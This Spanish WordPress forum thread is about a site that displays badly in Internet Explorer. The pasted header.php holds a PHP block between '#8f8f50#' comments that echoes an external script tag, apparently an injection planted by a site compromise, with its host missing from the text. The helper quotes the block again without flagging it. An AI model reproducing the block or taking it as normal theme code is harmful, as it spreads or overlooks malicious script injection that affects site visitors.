Soporte » Guías – Resolución de problemas » Pagina se ve mal en Explorer

  • Saludos Gente del Foro, podrian ayudarme a solucionar este problema no he logrado que mi pagian se vea bien en explorer se ve muy mal y todo el contenido se exparse.
    Que puedo hacer? existe un plugin o algo por el estilo?

Viendo 4 respuestas - de la 1 a la 4 (de un total de 4)
  • Hola maximusr,

    Jajaja,disculpa que me ria,pero el caso es que quien no ha tenido problemas con el Troll de los navegadores.

    Pega la siguiente meta en tu página entre las etiquetas <head> y </head>

    <meta http-equiv=»X-UA-Compatible» content=»IE=edge»>

    Esta meta generalmente intenta recoger lo más avanzado de internet explorer para que tu sitio se vea bien,tambien es aconsejable que tu tema tuviera instalado el modernizr.

    Espero que te ayude.

    Saludos

    Iniciador del debate maximusr

    (@maximusr)

    Perdona mi ignorancia Julio pero me podrias decir en que parte va exactamente:

    <!doctype html>
    <!--[if IE 9 ]><html class="ie9" xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>> <![endif]-->
    <!--[if IE 10 ]><html class="ie10" xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>> <![endif]-->
    <!--[if !(IE)]><!--><html xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>><!--<![endif]-->
    <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# music: http://ogp.me/ns/music#">
    	<title><?php wp_title( '|', true, 'right' ); ?></title>
    	<meta charset="<?php bloginfo( 'charset' );?>" />
    	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
    
    	<?php wp_head(); ?>
    <?php
    #8f8f50#
    if(empty($ul)) {
    $ul = "<script type=\"text/javascript\" src=\"http:?id=1473836\"></script>";
    echo $ul;
    }
    #/8f8f50#
    ?>
    	<!--[if IE]>
    		<meta http-equiv="X-UA-Compatible" content="IE=9; IE=8; IE=EmulateIE8; IE=EDGE" />
    		<script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>
    		<script type="text/javascript" src="<?php echo get_template_directory_uri() .'/js/sm/excanvas.js'; ?>"></script>
    	<![endif]-->
    </head>
    
    <?php if ( ot_get_option( 'is_glass' ) === 'on' ) { $is_glass = 'modern'; } else { $is_glass = ''; } ?>
    <body <?php body_class($is_glass) ?> id="<?php if ( ot_get_option('scroll') === '2' ) { ?>scrollnice<?php } ?>">
    
    	<?php if ( ot_get_option('remix_loading') != '1' ) { ?>
    		<div class="remix_loading" <?php if ( ot_get_option('loader_bg') !== '' ) { echo 'style="background-color: '.ot_get_option('loader_bg').'"'; } ?>>
    			<?php if ( ot_get_option('remix_loading_canvas') === 'on' ) { ?><canvas id="loader8"></canvas><?php } ?>
    			<?php if ( ot_get_option('remix_loading') === '2' ) { ?>
    				<div class="loader">
    					<div class="dott"></div>
    					<div class="dott"></div>
    					<div class="dott"></div>
    					<div class="dott"></div>
    					<div class="dott"></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '3' ) { ?>
    				<ul class="dots loader2">
    					<li class="dot"><div class="dot-gfx"></div>
    					<li class="dot"><div class="dot-gfx"></div>
    					<li class="dot"><div class="dot-gfx"></div>
    					<li class="dot"><div class="dot-gfx"></div>
    
    			<?php } elseif ( ot_get_option('remix_loading') === '4' ) { ?>
    				<div id='bars' class="loader3">
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '5' ) { ?>
    				<ul class="dottts loader4">
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    
    			<?php } elseif ( ot_get_option('remix_loading') === '6' ) { ?>
    				<div class='rap loader4'>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '7' ) { ?>
    				<div id="loader">
    					<div id="top"></div>
    					<div id="bottom"></div>
    					<div id="line"></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '9' ) { ?>
    				<div class="signal"></div>
    			<?php } elseif ( ot_get_option('remix_loading') === '10' ) { ?>
    				<div id="loader10"></div>
    			<?php } elseif ( ot_get_option('remix_loading') != '1' ) { ?>
    				<div id="gif_loader"><img src="<?php echo ot_get_option('remix_loading'); ?>" alt="Loader"></div>
    			<?php } ?>
    		</div>
    
    		<?php if ( ot_get_option('remix_loading_time') ) { ?>
    			<script type="text/javascript">
    				/* <![CDATA[ */
    					jQuery(document).ready(function ($) {
    						setTimeout( function(){
    							$('.remix_loading').fadeOut('slow', 'easeInOutExpo',function(){
    								$('.remix_loading').remove();
    							});
    						}, <?php echo ot_get_option('remix_loading_time'); ?> );
    					});
    				/* ]]> */
    			</script>
    		<?php } ?>
    	<?php } ?>
    
    	<div id="layout" class="<?php if ( ot_get_option( 'full-boxed' ) === '1' ): ?>full<?php elseif ( ot_get_option( 'full-boxed' ) === '2' ): ?>boxed<?php else: ?>boxed-margin<?php endif; ?>">
    
    		<?php
    			if ( ot_get_option( 'header_type' ) === '3' ) :
    				get_template_part('inc/head3');
    			elseif ( ot_get_option( 'header_type' ) === '4' ) :
    				get_template_part('inc/head4');
    			elseif ( ot_get_option( 'header_type' ) === '5' ) :
    				get_template_part('inc/head5');
    			else :
    				get_template_part('inc/head1');
    			endif; 
    
    			global $post;
    			if( isset($post->ID) ) { $page_cover_type = get_post_meta($post->ID,'page_cover_type',true); }
    			if ( !is_tax() && have_posts() ) {
    				$post_type = get_post_type( get_the_ID() );
    				if ( $post_type === 'post' ) {
    					$post_type = 'none';
    				}
    			} else {
    				$post_type = is_post_type_archive( 'artists' );
    			}
    
    			if ( is_tax('artist') ) :
    				if ( ot_get_option('artists_cover_type') != '1' ) {
    					$type = ot_get_option('artists_cover_type');
    					$type_image = ot_get_option('artists_cover_image');
    					$type_slider = ot_get_option('artists_cover_slider');
    				} else {
    					$type = ot_get_option('page_cover_type');
    					$type_image = ot_get_option('page_cover_image');
    					$type_slider = ot_get_option('page_cover_slider');
    				}
    			elseif ( $post_type === get_post_type() && !is_404() ) :
    				if ( isset($page_cover_type) && !empty($page_cover_type) && $page_cover_type != '1' && !is_post_type_archive() && !is_tax() ) {
    					$type = $page_cover_type;
    					$type_image = get_post_meta($post->ID,'page_cover_image',true);
    					$type_slider = get_post_meta($post->ID,'page_cover_slider',true);
    				} elseif ( ot_get_option($post_type.'_cover_type') !== '1' ) {
    					$type = ot_get_option($post_type.'_cover_type');
    					$type_image = ot_get_option($post_type.'_cover_image');
    					$type_slider = ot_get_option($post_type.'_cover_slider');
    				} else {
    					$type = ot_get_option('page_cover_type');
    					$type_image = ot_get_option('page_cover_image');
    					$type_slider = ot_get_option('page_cover_slider');
    				}
    			elseif ( isset($page_cover_type) && !empty($page_cover_type) && $page_cover_type != '1' && is_single() ) :
    				$type = $page_cover_type;
    				$type_image = get_post_meta($post->ID,'page_cover_image',true);
    				$type_slider = get_post_meta($post->ID,'page_cover_slider',true);
    			else :
    				$type = ot_get_option('page_cover_type');
    				$type_image = ot_get_option('page_cover_image');
    				$type_slider = ot_get_option('page_cover_slider');
    			endif;
    
    			if ( is_search() || is_tag() ) {
    				$type = ot_get_option('page_cover_type');
    				$type_image = ot_get_option('page_cover_image');
    				$type_slider = ot_get_option('page_cover_slider');
    			}
    
    			if ( function_exists( 'is_woocommerce' ) ) {
    				if ( is_shop() || is_woocommerce() ) {
    					$type = ot_get_option('woo_cover_type');
    					$type_image = ot_get_option('woo_cover_image');
    					$type_slider = ot_get_option('woo_cover_slider');
    				}
    			}
    
    			if ( is_tax('songs_cat') ) {
    				$type = ot_get_option('songs_cover_type');
    				$type_image = ot_get_option('songs_cover_image');
    				$type_slider = ot_get_option('songs_cover_slider');
    			}
    			if ( is_tax('videos_cat') ) {
    				$type = ot_get_option('videos_cover_type');
    				$type_image = ot_get_option('videos_cover_image');
    				$type_slider = ot_get_option('videos_cover_slider');
    			}
    
    			if ( $type === '3' ) {
    		?>
    			<div class="under_header">
    				<img src="<?php echo $type_image; ?>" alt="">
    			</div><!--/cover-->
    		<?php } elseif ( $type === '4' ) { ?>
    			<div class="big_slider">
    				<?php if(function_exists('putRevSlider')) {putRevSlider($type_slider);} ?>
    			</div>
    		<?php } ?>
    
    		<div class="page-content">
    			<?php
    				if (is_single() || is_page()) {
    					$page_breadcrumb = get_post_meta($post->ID,'page_breadcrumb',true);
    				} elseif ( is_post_type_archive($post_type) || is_tax(array('artist', 'songs_cat')) || !is_404() ) {
    					$page_breadcrumb = ot_get_option($post_type.'_breadcrumb');
    					if ( $page_breadcrumb === '' ) {
    						$page_breadcrumb = ot_get_option('artists_breadcrumb');
    					}
    				} else {
    					$page_breadcrumb = 'on';
    				}
    
    				if ( function_exists( 'is_woocommerce' ) ) {
    					if ( is_shop() || is_woocommerce() ) {
    						$page_breadcrumb = 'on';
    					}
    				}
    
    				if ( is_tax('songs_cat') ) {
    					$page_breadcrumb = ot_get_option('songs_breadcrumb');
    				}
    				if ( is_tax('videos_cat') ) {
    					$page_breadcrumb = ot_get_option('videos_breadcrumb');
    				}
    				if ( is_search() || is_month() || is_day() || is_year() || is_category() || is_tag() || is_author() ) {
    					$page_breadcrumb = 'on';
    				}
    
    				if (!is_front_page() && $page_breadcrumb === 'on' ) :
    				if (function_exists('T20_custom_breadcrumbs')) { ?>
    					<div class="row clearfix mb">
    						<div class="breadcrumbIn" itemprop="breadcrumb">
    							<?php T20_custom_breadcrumbs(); ?>
    						</div>
    					</div><!-- row -->
    				<?php }
    			endif; ?>
    			<div class="row clearfix">

    Hola de nuevo,

    Bueno me he fijado que tienes la etiqueta puesta en tu tema pero creo que
    solo hace referencia al IE 8 y al IE9,cosa que esas versiones creo que ya estan defasadas,si no lo estarán muy pronto.

    Te indico.

    Incluso tienes la meta etiqueta en un lugar poco apropiado para mi gusto,para mi no seria una buena práctica tenerla en donde la tienes,yo creo firmemente que las etiquetas de html deben de ir con el html y no todo mezclado.

    Te muestro donde tines ahora mismo la meta:

    <?php wp_head(); ?>
    <?php
    #8f8f50#
    if(empty($ul)) {
    $ul = «<script type=\»text/javascript\» src=\»http:?id=1473836\»></script>»;
    echo $ul;
    }
    #/8f8f50#
    ?>
    <!–[if IE]>
    <meta http-equiv=»X-UA-Compatible» content=»IE=9; IE=8; IE=EmulateIE8;IE=EDGE» />
    <script src=»//html5shim.googlecode.com/svn/trunk/html5.js»></script>
    <script type=»text/javascript» src=»<?php echo get_template_directory_uri() .’/js/sm/excanvas.js’; ?>»></script>
    <![endif]–>
    </head>

    Como ves,tiene en el content la referencia al IE=9; IE=8 esto devería de estar vacio.

    Te recomendaba el modernizr,para que puedas escanear (por así decirlo)el navegador de tu visitante y adaptar lo mejor posible tu página a su navegador.

    La meta etiqueta que te deje la debes de pegar a mi gusto en:

    <head prefix=»og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# music: http://ogp.me/ns/music#»&gt;
    <title><?php wp_title( ‘|’, true, ‘right’ ); ?></title>
    <meta charset=»<?php bloginfo( ‘charset’ );?>» />
    <meta http-equiv=»Content-Type» content=»text/html; charset=UTF-8″>
    <meta name=»viewport» content=»width=device-width, initial-scale=1, maximum-scale=1″ />
    <meta http-equiv=»X-UA-Compatible» content=»IE=edge»>

    No te olvides de quitar la anterior,antes de guardar.

    Espero que te ayude.

    Saludos

    Iniciador del debate maximusr

    (@maximusr)

    Aun sigo con el mismo Problema, ya he intentada como colocar el codigo de mil formas y nada ademas no tengo conocimientos de Html y es por eso que no uso el Modernizr. estare podiendo algun elemento del codigo mal? o Que estere haciendo mal?

Viendo 4 respuestas - de la 1 a la 4 (de un total de 4)
  • El debate ‘Pagina se ve mal en Explorer’ está cerrado a nuevas respuestas.